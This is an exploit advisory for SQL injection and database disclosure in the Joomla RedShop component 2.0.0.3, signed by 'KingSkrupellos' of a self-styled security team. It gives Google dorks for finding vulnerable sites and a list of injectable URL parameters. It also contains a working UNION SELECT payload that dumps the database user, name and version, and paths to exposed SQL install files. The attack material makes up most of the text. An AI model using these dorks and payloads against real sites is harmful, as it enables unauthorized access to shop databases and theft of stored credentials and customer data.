#################################################################### # Exploit Title : Joomla RedShop Components 2.0.0.3 SQL Injection / Database Disclosure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 04/02/2019 # Vendor Homepage : redcomponent.com # Software Download Link : redcomponent.com/redcomponent/redshop # Software Information Link : extensions.joomla.org/extension/redshop/ # Software Version : 2.0.0.3 # Software Price : 49$ # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_redshop'' inurl:''/index.php?tmpl=component&option=com_redshop'' # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # Old Similar CVE [ Only Version is Different 1.0 ] : CVE-2010-2694 # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description about Software : *************************** RedShop is the leading webshop solution and Full Circle Ecommerce for Joomla! #################################################################### # Impact : *********** * SQL injection vulnerability in the redSHOP Component (com_redshop) 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via different id and start parameters to index.php. Joomla RedShop 2.0.0.3 component for Joomla and other versions is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. * This Software prone to an information exposure/database disclosure vulnerability. Successful exploits of this issue may allow an attacker to obtain sensitive information by downloading the full contents of the application's database. * Any remote user may download the database files and gain access to sensitive information including unencrypted authentication credentials. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_redshop&view=product&pid=[SQL Injection] /index.php?option=com_redshop&view=product&pid=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_redshop&view=product&pid=[ID-NUMBER]&Itemid=[ID-NUMBER]&from=inici&lang=[SQL Injection] /index.php?option=com_redshop&view=ask_question&pid=[ID-NUMBER]&tmpl=component&Itemid=[SQL Injection] /index.php?option=com_redshop&view=category&cid=[ID-NUMBER]&layout=detail&Itemid=[SQL Injection] /index.php?tmpl=component&option=com_redshop&view=product&task=addtocompare&pid=[SQL Injection] /index.php?option=com_redshop&view=category&cid=[ID-NUMBER]&Itemid=[ID-NUMBER]&layout=default&limit=[ID-NUMBER]&limitstart=[SQL Injection] /index.php?option=com_redshop&view=manufacturers&layout=products&mid=[ID-NUMBER]&print=[ID-NUMBER]&tmpl=component&Itemid=[SQL Injection] /index.php?option=com_redshop&view=search&layout=default&category_id=[ID-NUMBER]&manufacture_id=[ID-NUMBER]&order_by=p.product_name&limitstart=[SQL Injection] # Example SQL Injection Exploit Payload : ************************************ 24%22%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,concat_ws%280x203a20, %20user%28%29,%20database%28%29,%20version%28%29%29,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 ,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63%23&cmd= add&cid=20&sid=0.6886686905513422 # Database Disclosure Exploit : *************************** /administrator/components/com_redshop/install.mysql.utf8.sql /administrator/components/com_redshop/uninstall.mysql.utf8.sql #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################